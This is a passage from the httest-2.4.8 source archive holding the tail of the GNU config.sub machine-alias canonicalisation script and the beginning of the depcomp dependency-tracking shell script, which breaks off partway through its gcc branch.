aarch64_be-* \ | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ | avr-* | avr32-* \ | be32-* | be64-* \ | bfin-* | bs2000-* \ | c[123]* | c30-* | [cjt]90-* | c4x-* \ | clipper-* | craynv-* | cydra-* \ | d10v-* | d30v-* | dlx-* \ | elxsi-* \ | f30[01]-* | f700-* | fido-* | fr30-* | frv-* | fx80-* \ | h8300-* | h8500-* \ | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ | hexagon-* \ | i*86-* | i860-* | i960-* | ia64-* \ | ip2k-* | iq2000-* \ | le32-* | le64-* \ | lm32-* \ | m32c-* | m32r-* | m32rle-* \ | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ | m88110-* | m88k-* | maxq-* | mcore-* | metag-* | microblaze-* \ | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ | mips16-* \ | mips64-* | mips64el-* \ | mips64octeon-* | mips64octeonel-* \ | mips64orion-* | mips64orionel-* \ | mips64r5900-* | mips64r5900el-* \ | mips64vr-* | mips64vrel-* \ | mips64vr4100-* | mips64vr4100el-* \ | mips64vr4300-* | mips64vr4300el-* \ | mips64vr5000-* | mips64vr5000el-* \ | mips64vr5900-* | mips64vr5900el-* \ | mipsisa32-* | mipsisa32el-* \ | mipsisa32r2-* | mipsisa32r2el-* \ | mipsisa64-* | mipsisa64el-* \ | mipsisa64r2-* | mipsisa64r2el-* \ | mipsisa64sb1-* | mipsisa64sb1el-* \ | mipsisa64sr71k-* | mipsisa64sr71kel-* \ | mipstx39-* | mipstx39el-* \ | mmix-* \ | mt-* \ | msp430-* \ | nds32-* | nds32le-* | nds32be-* \ | nios-* | nios2-* \ | none-* | np1-* | ns16k-* | ns32k-* \ | open8-* \ | orion-* \ | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* \ | pyramid-* \ | rl78-* | romp-* | rs6000-* | rx-* \ | sh-* | sh[1234]-* | sh[24]a-* | sh[24]aeb-* | sh[23]e-* | sh[34]eb-* | sheb-* | shbe-* \ | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ | sparc-* | sparc64-* | sparc64b-* | sparc64v-* | sparc86x-* | sparclet-* \ | sparclite-* \ | sparcv8-* | sparcv9-* | sparcv9b-* | sparcv9v-* | sv1-* | sx?-* \ | tahoe-* \ | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ | tile*-* \ | tron-* \ | ubicom32-* \ | v850-* | v850e-* | v850e1-* | v850es-* | v850e2-* | v850e2v3-* \ | vax-* \ | we32k-* \ | x86-* | x86_64-* | xc16x-* | xps100-* \ | xstormy16-* | xtensa*-* \ | ymp-* \ | z8k-* | z80-*) ;; # Recognize the basic CPU types without company name, with glob match. xtensa*) basic_machine=$basic_machine-unknown ;; # Recognize the various machine names and aliases which stand # for a CPU type and a company and sometimes even an OS. 386bsd) basic_machine=i386-unknown os=-bsd ;; 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) basic_machine=m68000-att ;; 3b*) basic_machine=we32k-att ;; a29khif) basic_machine=a29k-amd os=-udi ;; abacus) basic_machine=abacus-unknown ;; adobe68k) basic_machine=m68010-adobe os=-scout ;; alliant | fx80) basic_machine=fx80-alliant ;; altos | altos3068) basic_machine=m68k-altos ;; am29k) basic_machine=a29k-none os=-bsd ;; amd64) basic_machine=x86_64-pc ;; amd64-*) basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; amdahl) basic_machine=580-amdahl os=-sysv ;; amiga | amiga-*) basic_machine=m68k-unknown ;; amigaos | amigados) basic_machine=m68k-unknown os=-amigaos ;; amigaunix | amix) basic_machine=m68k-unknown os=-sysv4 ;; apollo68) basic_machine=m68k-apollo os=-sysv ;; apollo68bsd) basic_machine=m68k-apollo os=-bsd ;; aros) basic_machine=i386-pc os=-aros ;; aux) basic_machine=m68k-apple os=-aux ;; balance) basic_machine=ns32k-sequent os=-dynix ;; blackfin) basic_machine=bfin-unknown os=-linux ;; blackfin-*) basic_machine=bfin-`echo $basic_machine | sed 's/^[^-]*-//'` os=-linux ;; bluegene*) basic_machine=powerpc-ibm os=-cnk ;; c54x-*) basic_machine=tic54x-`echo $basic_machine | sed 's/^[^-]*-//'` ;; c55x-*) basic_machine=tic55x-`echo $basic_machine | sed 's/^[^-]*-//'` ;; c6x-*) basic_machine=tic6x-`echo $basic_machine | sed 's/^[^-]*-//'` ;; c90) basic_machine=c90-cray os=-unicos ;; cegcc) basic_machine=arm-unknown os=-cegcc ;; convex-c1) basic_machine=c1-convex os=-bsd ;; convex-c2) basic_machine=c2-convex os=-bsd ;; convex-c32) basic_machine=c32-convex os=-bsd ;; convex-c34) basic_machine=c34-convex os=-bsd ;; convex-c38) basic_machine=c38-convex os=-bsd ;; cray | j90) basic_machine=j90-cray os=-unicos ;; craynv) basic_machine=craynv-cray os=-unicosmp ;; cr16 | cr16-*) basic_machine=cr16-unknown os=-elf ;; crds | unos) basic_machine=m68k-crds ;; crisv32 | crisv32-* | etraxfs*) basic_machine=crisv32-axis ;; cris | cris-* | etrax*) basic_machine=cris-axis ;; crx) basic_machine=crx-unknown os=-elf ;; da30 | da30-*) basic_machine=m68k-da30 ;; decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) basic_machine=mips-dec ;; decsystem10* | dec10*) basic_machine=pdp10-dec os=-tops10 ;; decsystem20* | dec20*) basic_machine=pdp10-dec os=-tops20 ;; delta | 3300 | motorola-3300 | motorola-delta \ | 3300-motorola | delta-motorola) basic_machine=m68k-motorola ;; delta88) basic_machine=m88k-motorola os=-sysv3 ;; dicos) basic_machine=i686-pc os=-dicos ;; djgpp) basic_machine=i586-pc os=-msdosdjgpp ;; dpx20 | dpx20-*) basic_machine=rs6000-bull os=-bosx ;; dpx2* | dpx2*-bull) basic_machine=m68k-bull os=-sysv3 ;; ebmon29k) basic_machine=a29k-amd os=-ebmon ;; elxsi) basic_machine=elxsi-elxsi os=-bsd ;; encore | umax | mmax) basic_machine=ns32k-encore ;; es1800 | OSE68k | ose68k | ose | OSE) basic_machine=m68k-ericsson os=-ose ;; fx2800) basic_machine=i860-alliant ;; genix) basic_machine=ns32k-ns ;; gmicro) basic_machine=tron-gmicro os=-sysv ;; go32) basic_machine=i386-pc os=-go32 ;; h3050r* | hiux*) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; h8300hms) basic_machine=h8300-hitachi os=-hms ;; h8300xray) basic_machine=h8300-hitachi os=-xray ;; h8500hms) basic_machine=h8500-hitachi os=-hms ;; harris) basic_machine=m88k-harris os=-sysv3 ;; hp300-*) basic_machine=m68k-hp ;; hp300bsd) basic_machine=m68k-hp os=-bsd ;; hp300hpux) basic_machine=m68k-hp os=-hpux ;; hp3k9[0-9][0-9] | hp9[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k2[0-9][0-9] | hp9k31[0-9]) basic_machine=m68000-hp ;; hp9k3[2-9][0-9]) basic_machine=m68k-hp ;; hp9k6[0-9][0-9] | hp6[0-9][0-9]) basic_machine=hppa1.0-hp ;; hp9k7[0-79][0-9] | hp7[0-79][0-9]) basic_machine=hppa1.1-hp ;; hp9k78[0-9] | hp78[0-9]) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) # FIXME: really hppa2.0-hp basic_machine=hppa1.1-hp ;; hp9k8[0-9][13679] | hp8[0-9][13679]) basic_machine=hppa1.1-hp ;; hp9k8[0-9][0-9] | hp8[0-9][0-9]) basic_machine=hppa1.0-hp ;; hppa-next) os=-nextstep3 ;; hppaosf) basic_machine=hppa1.1-hp os=-osf ;; hppro) basic_machine=hppa1.1-hp os=-proelf ;; i370-ibm* | ibm*) basic_machine=i370-ibm ;; i*86v32) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv32 ;; i*86v4*) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv4 ;; i*86v) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-sysv ;; i*86sol2) basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` os=-solaris2 ;; i386mach) basic_machine=i386-mach os=-mach ;; i386-vsta | vsta) basic_machine=i386-unknown os=-vsta ;; iris | iris4d) basic_machine=mips-sgi case $os in -irix*) ;; *) os=-irix4 ;; esac ;; isi68 | isi) basic_machine=m68k-isi os=-sysv ;; m68knommu) basic_machine=m68k-unknown os=-linux ;; m68knommu-*) basic_machine=m68k-`echo $basic_machine | sed 's/^[^-]*-//'` os=-linux ;; m88k-omron*) basic_machine=m88k-omron ;; magnum | m3230) basic_machine=mips-mips os=-sysv ;; merlin) basic_machine=ns32k-utek os=-sysv ;; microblaze) basic_machine=microblaze-xilinx ;; mingw32) basic_machine=i386-pc os=-mingw32 ;; mingw32ce) basic_machine=arm-unknown os=-mingw32ce ;; miniframe) basic_machine=m68000-convergent ;; *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) basic_machine=m68k-atari os=-mint ;; mips3*-*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` ;; mips3*) basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown ;; monitor) basic_machine=m68k-rom68k os=-coff ;; morphos) basic_machine=powerpc-unknown os=-morphos ;; msdos) basic_machine=i386-pc os=-msdos ;; ms1-*) basic_machine=`echo $basic_machine | sed -e 's/ms1-/mt-/'` ;; msys) basic_machine=i386-pc os=-msys ;; mvs) basic_machine=i370-ibm os=-mvs ;; nacl) basic_machine=le32-unknown os=-nacl ;; ncr3000) basic_machine=i486-ncr os=-sysv4 ;; netbsd386) basic_machine=i386-unknown os=-netbsd ;; netwinder) basic_machine=armv4l-rebel os=-linux ;; news | news700 | news800 | news900) basic_machine=m68k-sony os=-newsos ;; news1000) basic_machine=m68030-sony os=-newsos ;; news-3600 | risc-news) basic_machine=mips-sony os=-newsos ;; necv70) basic_machine=v70-nec os=-sysv ;; next | m*-next ) basic_machine=m68k-next case $os in -nextstep* ) ;; -ns2*) os=-nextstep2 ;; *) os=-nextstep3 ;; esac ;; nh3000) basic_machine=m68k-harris os=-cxux ;; nh[45]000) basic_machine=m88k-harris os=-cxux ;; nindy960) basic_machine=i960-intel os=-nindy ;; mon960) basic_machine=i960-intel os=-mon960 ;; nonstopux) basic_machine=mips-compaq os=-nonstopux ;; np1) basic_machine=np1-gould ;; neo-tandem) basic_machine=neo-tandem ;; nse-tandem) basic_machine=nse-tandem ;; nsr-tandem) basic_machine=nsr-tandem ;; op50n-* | op60c-*) basic_machine=hppa1.1-oki os=-proelf ;; openrisc | openrisc-*) basic_machine=or32-unknown ;; os400) basic_machine=powerpc-ibm os=-os400 ;; OSE68000 | ose68000) basic_machine=m68000-ericsson os=-ose ;; os68k) basic_machine=m68k-none os=-os68k ;; pa-hitachi) basic_machine=hppa1.1-hitachi os=-hiuxwe2 ;; paragon) basic_machine=i860-intel os=-osf ;; parisc) basic_machine=hppa-unknown os=-linux ;; parisc-*) basic_machine=hppa-`echo $basic_machine | sed 's/^[^-]*-//'` os=-linux ;; pbd) basic_machine=sparc-tti ;; pbb) basic_machine=m68k-tti ;; pc532 | pc532-*) basic_machine=ns32k-pc532 ;; pc98) basic_machine=i386-pc ;; pc98-*) basic_machine=i386-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentium | p5 | k5 | k6 | nexgen | viac3) basic_machine=i586-pc ;; pentiumpro | p6 | 6x86 | athlon | athlon_*) basic_machine=i686-pc ;; pentiumii | pentium2 | pentiumiii | pentium3) basic_machine=i686-pc ;; pentium4) basic_machine=i786-pc ;; pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumpro-* | p6-* | 6x86-* | athlon-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pentium4-*) basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` ;; pn) basic_machine=pn-gould ;; power) basic_machine=power-ibm ;; ppc | ppcbe) basic_machine=powerpc-unknown ;; ppc-* | ppcbe-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppcle | powerpclittle | ppc-le | powerpc-little) basic_machine=powerpcle-unknown ;; ppcle-* | powerpclittle-*) basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64) basic_machine=powerpc64-unknown ;; ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ppc64le | powerpc64little | ppc64-le | powerpc64-little) basic_machine=powerpc64le-unknown ;; ppc64le-* | powerpc64little-*) basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'` ;; ps2) basic_machine=i386-ibm ;; pw32) basic_machine=i586-unknown os=-pw32 ;; rdos) basic_machine=i386-pc os=-rdos ;; rom68k) basic_machine=m68k-rom68k os=-coff ;; rm[46]00) basic_machine=mips-siemens ;; rtpc | rtpc-*) basic_machine=romp-ibm ;; s390 | s390-*) basic_machine=s390-ibm ;; s390x | s390x-*) basic_machine=s390x-ibm ;; sa29200) basic_machine=a29k-amd os=-udi ;; sb1) basic_machine=mipsisa64sb1-unknown ;; sb1el) basic_machine=mipsisa64sb1el-unknown ;; sde) basic_machine=mipsisa32-sde os=-elf ;; sei) basic_machine=mips-sei os=-seiux ;; sequent) basic_machine=i386-sequent ;; sh) basic_machine=sh-hitachi os=-hms ;; sh5el) basic_machine=sh5le-unknown ;; sh64) basic_machine=sh64-unknown ;; sparclite-wrs | simso-wrs) basic_machine=sparclite-wrs os=-vxworks ;; sps7) basic_machine=m68k-bull os=-sysv2 ;; spur) basic_machine=spur-unknown ;; st2000) basic_machine=m68k-tandem ;; stratus) basic_machine=i860-stratus os=-sysv4 ;; strongarm-* | thumb-*) basic_machine=arm-`echo $basic_machine | sed 's/^[^-]*-//'` ;; sun2) basic_machine=m68000-sun ;; sun2os3) basic_machine=m68000-sun os=-sunos3 ;; sun2os4) basic_machine=m68000-sun os=-sunos4 ;; sun3os3) basic_machine=m68k-sun os=-sunos3 ;; sun3os4) basic_machine=m68k-sun os=-sunos4 ;; sun4os3) basic_machine=sparc-sun os=-sunos3 ;; sun4os4) basic_machine=sparc-sun os=-sunos4 ;; sun4sol2) basic_machine=sparc-sun os=-solaris2 ;; sun3 | sun3-*) basic_machine=m68k-sun ;; sun4) basic_machine=sparc-sun ;; sun386 | sun386i | roadrunner) basic_machine=i386-sun ;; sv1) basic_machine=sv1-cray os=-unicos ;; symmetry) basic_machine=i386-sequent os=-dynix ;; t3e) basic_machine=alphaev5-cray os=-unicos ;; t90) basic_machine=t90-cray os=-unicos ;; tile*) basic_machine=$basic_machine-unknown os=-linux-gnu ;; tx39) basic_machine=mipstx39-unknown ;; tx39el) basic_machine=mipstx39el-unknown ;; toad1) basic_machine=pdp10-xkl os=-tops20 ;; tower | tower-32) basic_machine=m68k-ncr ;; tpf) basic_machine=s390x-ibm os=-tpf ;; udi29k) basic_machine=a29k-amd os=-udi ;; ultra3) basic_machine=a29k-nyu os=-sym1 ;; v810 | necv810) basic_machine=v810-nec os=-none ;; vaxv) basic_machine=vax-dec os=-sysv ;; vms) basic_machine=vax-dec os=-vms ;; vpp*|vx|vx-*) basic_machine=f301-fujitsu ;; vxworks960) basic_machine=i960-wrs os=-vxworks ;; vxworks68) basic_machine=m68k-wrs os=-vxworks ;; vxworks29k) basic_machine=a29k-wrs os=-vxworks ;; w65*) basic_machine=w65-wdc os=-none ;; w89k-*) basic_machine=hppa1.1-winbond os=-proelf ;; xbox) basic_machine=i686-pc os=-mingw32 ;; xps | xps100) basic_machine=xps100-honeywell ;; xscale-* | xscalee[bl]-*) basic_machine=`echo $basic_machine | sed 's/^xscale/arm/'` ;; ymp) basic_machine=ymp-cray os=-unicos ;; z8k-*-coff) basic_machine=z8k-unknown os=-sim ;; z80-*-coff) basic_machine=z80-unknown os=-sim ;; none) basic_machine=none-none os=-none ;; # Here we handle the default manufacturer of certain CPU types. It is in # some cases the only manufacturer, in others, it is the most popular. w89k) basic_machine=hppa1.1-winbond ;; op50n) basic_machine=hppa1.1-oki ;; op60c) basic_machine=hppa1.1-oki ;; romp) basic_machine=romp-ibm ;; mmix) basic_machine=mmix-knuth ;; rs6000) basic_machine=rs6000-ibm ;; vax) basic_machine=vax-dec ;; pdp10) # there are many clones, so DEC is not a safe bet basic_machine=pdp10-unknown ;; pdp11) basic_machine=pdp11-dec ;; we32k) basic_machine=we32k-att ;; sh[1234] | sh[24]a | sh[24]aeb | sh[34]eb | sh[1234]le | sh[23]ele) basic_machine=sh-unknown ;; sparc | sparcv8 | sparcv9 | sparcv9b | sparcv9v) basic_machine=sparc-sun ;; cydra) basic_machine=cydra-cydrome ;; orion) basic_machine=orion-highlevel ;; orion105) basic_machine=clipper-highlevel ;; mac | mpw | mac-mpw) basic_machine=m68k-apple ;; pmac | pmac-mpw) basic_machine=powerpc-apple ;; *-unknown) # Make sure to match an already-canonicalized machine name. ;; *) echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 exit 1 ;; esac # Here we canonicalize certain aliases for manufacturers. case $basic_machine in *-digital*) basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` ;; *-commodore*) basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` ;; *) ;; esac # Decode manufacturer-specific aliases for certain operating systems. if [ x"$os" != x"" ] then case $os in # First match some system type aliases # that might get confused with valid system types. # -solaris* is a basic system type, with this one exception. -auroraux) os=-auroraux ;; -solaris1 | -solaris1.*) os=`echo $os | sed -e 's|solaris1|sunos4|'` ;; -solaris) os=-solaris2 ;; -svr4*) os=-sysv4 ;; -unixware*) os=-sysv4.2uw ;; -gnu/linux*) os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` ;; # First accept the basic system types. # The portable systems comes first. # Each alternative MUST END IN A *, to match a version number. # -sysv* is not here because it comes later, after sysvr4. -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ | -*vms* | -sco* | -esix* | -isc* | -aix* | -cnk* | -sunos | -sunos[34]*\ | -hpux* | -unos* | -osf* | -luna* | -dgux* | -auroraux* | -solaris* \ | -sym* | -kopensolaris* \ | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ | -aos* | -aros* \ | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* \ | -openbsd* | -solidbsd* \ | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \ | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ | -chorusos* | -chorusrdb* | -cegcc* \ | -cygwin* | -msys* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ | -mingw32* | -linux-gnu* | -linux-android* \ | -linux-newlib* | -linux-uclibc* \ | -uxpv* | -beos* | -mpeix* | -udk* \ | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \ | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly* \ | -skyos* | -haiku* | -rdos* | -toppers* | -drops* | -es*) # Remember, each alternative MUST END IN *, to match a version number. ;; -qnx*) case $basic_machine in x86-* | i*86-*) ;; *) os=-nto$os ;; esac ;; -nto-qnx*) ;; -nto*) os=`echo $os | sed -e 's|nto|nto-qnx|'` ;; -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ | -windows* | -osx | -abug | -netware* | -os9* | -beos* | -haiku* \ | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) ;; -mac*) os=`echo $os | sed -e 's|mac|macos|'` ;; -linux-dietlibc) os=-linux-dietlibc ;; -linux*) os=`echo $os | sed -e 's|linux|linux-gnu|'` ;; -sunos5*) os=`echo $os | sed -e 's|sunos5|solaris2|'` ;; -sunos6*) os=`echo $os | sed -e 's|sunos6|solaris3|'` ;; -opened*) os=-openedition ;; -os400*) os=-os400 ;; -wince*) os=-wince ;; -osfrose*) os=-osfrose ;; -osf*) os=-osf ;; -utek*) os=-bsd ;; -dynix*) os=-bsd ;; -acis*) os=-aos ;; -atheos*) os=-atheos ;; -syllable*) os=-syllable ;; -386bsd) os=-bsd ;; -ctix* | -uts*) os=-sysv ;; -nova*) os=-rtmk-nova ;; -ns2 ) os=-nextstep2 ;; -nsk*) os=-nsk ;; # Preserve the version number of sinix5. -sinix5.*) os=`echo $os | sed -e 's|sinix|sysv|'` ;; -sinix*) os=-sysv4 ;; -tpf*) os=-tpf ;; -triton*) os=-sysv3 ;; -oss*) os=-sysv3 ;; -svr4) os=-sysv4 ;; -svr3) os=-sysv3 ;; -sysvr4) os=-sysv4 ;; # This must come after -sysvr4. -sysv*) ;; -ose*) os=-ose ;; -es1800*) os=-ose ;; -xenix) os=-xenix ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) os=-mint ;; -aros*) os=-aros ;; -kaos*) os=-kaos ;; -zvmoe) os=-zvmoe ;; -dicos*) os=-dicos ;; -nacl*) ;; -none) ;; *) # Get rid of the `-' at the beginning of $os. os=`echo $os | sed 's/[^-]*-//'` echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 exit 1 ;; esac else # Here we handle the default operating systems that come with various machines. # The value should be what the vendor currently ships out the door with their # machine or put another way, the most popular os provided with the machine. # Note that if you're going to try to match "-MANUFACTURER" here (say, # "-sun"), then you have to tell the case statement up towards the top # that MANUFACTURER isn't an operating system. Otherwise, code above # will signal an error saying that MANUFACTURER isn't an operating # system, and we'll never get to this point. case $basic_machine in score-*) os=-elf ;; spu-*) os=-elf ;; *-acorn) os=-riscix1.2 ;; arm*-rebel) os=-linux ;; arm*-semi) os=-aout ;; c4x-* | tic4x-*) os=-coff ;; hexagon-*) os=-elf ;; tic54x-*) os=-coff ;; tic55x-*) os=-coff ;; tic6x-*) os=-coff ;; # This must come before the *-dec entry. pdp10-*) os=-tops20 ;; pdp11-*) os=-none ;; *-dec | vax-*) os=-ultrix4.2 ;; m68*-apollo) os=-domain ;; i386-sun) os=-sunos4.0.2 ;; m68000-sun) os=-sunos3 ;; m68*-cisco) os=-aout ;; mep-*) os=-elf ;; mips*-cisco) os=-elf ;; mips*-*) os=-elf ;; or32-*) os=-coff ;; *-tti) # must be before sparc entry or we get the wrong os. os=-sysv3 ;; sparc-* | *-sun) os=-sunos4.1.1 ;; *-be) os=-beos ;; *-haiku) os=-haiku ;; *-ibm) os=-aix ;; *-knuth) os=-mmixware ;; *-wec) os=-proelf ;; *-winbond) os=-proelf ;; *-oki) os=-proelf ;; *-hp) os=-hpux ;; *-hitachi) os=-hiux ;; i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) os=-sysv ;; *-cbm) os=-amigaos ;; *-dg) os=-dgux ;; *-dolphin) os=-sysv3 ;; m68k-ccur) os=-rtu ;; m88k-omron*) os=-luna ;; *-next ) os=-nextstep ;; *-sequent) os=-ptx ;; *-crds) os=-unos ;; *-ns) os=-genix ;; i370-*) os=-mvs ;; *-next) os=-nextstep3 ;; *-gould) os=-sysv ;; *-highlevel) os=-bsd ;; *-encore) os=-bsd ;; *-sgi) os=-irix ;; *-siemens) os=-sysv4 ;; *-masscomp) os=-rtu ;; f30[01]-fujitsu | f700-fujitsu) os=-uxpv ;; *-rom68k) os=-coff ;; *-*bug) os=-coff ;; *-apple) os=-macos ;; *-atari*) os=-mint ;; *) os=-none ;; esac fi # Here we handle the case where we know the os, and the CPU type, but not the # manufacturer. We pick the logical manufacturer. vendor=unknown case $basic_machine in *-unknown) case $os in -riscix*) vendor=acorn ;; -sunos*) vendor=sun ;; -cnk*|-aix*) vendor=ibm ;; -beos*) vendor=be ;; -hpux*) vendor=hp ;; -mpeix*) vendor=hp ;; -hiux*) vendor=hitachi ;; -unos*) vendor=crds ;; -dgux*) vendor=dg ;; -luna*) vendor=omron ;; -genix*) vendor=ns ;; -mvs* | -opened*) vendor=ibm ;; -os400*) vendor=ibm ;; -ptx*) vendor=sequent ;; -tpf*) vendor=ibm ;; -vxsim* | -vxworks* | -windiss*) vendor=wrs ;; -aux*) vendor=apple ;; -hms*) vendor=hitachi ;; -mpw* | -macos*) vendor=apple ;; -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) vendor=atari ;; -vos*) vendor=stratus ;; esac basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` ;; esac echo $basic_machine$os exit # Local variables: # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "timestamp='" # time-stamp-format: "%:y-%02m-%02d" # time-stamp-end: "'" # End: httest-2.4.8/config/depcomp0000755000175100017510000005064312026454250012615 00000000000000#! /bin/sh # depcomp - compile a program generating dependencies as side-effects scriptversion=2012-03-27.16; # UTC # Copyright (C) 1999, 2000, 2003, 2004, 2005, 2006, 2007, 2009, 2010, # 2011, 2012 Free Software Foundation, Inc. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see . # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Originally written by Alexandre Oliva . case $1 in '') echo "$0: No command. Try '$0 --help' for more information." 1>&2 exit 1; ;; -h | --h*) cat <<\EOF Usage: depcomp [--help] [--version] PROGRAM [ARGS] Run PROGRAMS ARGS to compile a file, generating dependencies as side-effects. Environment variables: depmode Dependency tracking mode. source Source file read by 'PROGRAMS ARGS'. object Object file output by 'PROGRAMS ARGS'. DEPDIR directory where to store dependencies. depfile Dependency file to output. tmpdepfile Temporary file to use when outputting dependencies. libtool Whether libtool is used (yes/no). Report bugs to . EOF exit $? ;; -v | --v*) echo "depcomp $scriptversion" exit $? ;; esac # A tabulation character. tab=' ' # A newline character. nl=' ' if test -z "$depmode" || test -z "$source" || test -z "$object"; then echo "depcomp: Variables source, object and depmode must be set" 1>&2 exit 1 fi # Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po. depfile=${depfile-`echo "$object" | sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po|'`} tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`} rm -f "$tmpdepfile" # Some modes work just like other modes, but use different flags. We # parameterize here, but still list the modes in the big case below, # to make depend.m4 easier to write. Note that we *cannot* use a case # here, because this file can only contain one case statement. if test "$depmode" = hp; then # HP compiler uses -M and no extra arg. gccflag=-M depmode=gcc fi if test "$depmode" = dashXmstdout; then # This is just like dashmstdout with a different argument. dashmflag=-xM depmode=dashmstdout fi cygpath_u="cygpath -u -f -" if test "$depmode" = msvcmsys; then # This is just like msvisualcpp but w/o cygpath translation. # Just convert the backslash-escaped backslashes to single forward # slashes to satisfy depend.m4 cygpath_u='sed s,\\\\,/,g' depmode=msvisualcpp fi if test "$depmode" = msvc7msys; then # This is just like msvc7 but w/o cygpath translation. # Just convert the backslash-escaped backslashes to single forward # slashes to satisfy depend.m4 cygpath_u='sed s,\\\\,/,g' depmode=msvc7 fi if test "$depmode" = xlc; then # IBM C/C++ Compilers xlc/xlC can output gcc-like dependency informations. gccflag=-qmakedep=gcc,-MF depmode=gcc fi case "$depmode" in gcc3) ## gcc 3 implements dependency tracking that does exactly what ## we want. Yay! Note: for some reason libtool 1.4 doesn't like ## it if -MD -MP comes after the -MF stuff. Hmm. ## Unfortunately, FreeBSD c89 acceptance of flags depends upon ## the command line argument order; so add the flags where they ## appear in depend2.am. Note that the slowdown incurred here ## affects only configure: in makefiles, %FASTDEP% shortcuts this. for arg do case $arg in -c) set fnord "$@" -MT "$object" -MD -MP -MF "$tmpdepfile" "$arg" ;; *) set fnord "$@" "$arg" ;; esac shift # fnord shift # $arg done "$@" stat=$? if test $stat -eq 0; then : else rm -f "$tmpdepfile" exit $stat fi mv "$tmpdepfile" "$depfile" ;; gcc) ## There are various ways to get dependency output from gcc. Here's ## why we pick this rather obscure method: ## - Don't want to use -MD because we'd like the dependencies to end ## up in a subdir. Having to rename by hand is ugly. ## (We might end up doing this anyway to support other compilers.) ## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like ## -MM, not -M (despite what the docs say). ## - Using -M directly means running the compiler twice (even worse ## than renaming). if test -z "$gccflag"; then 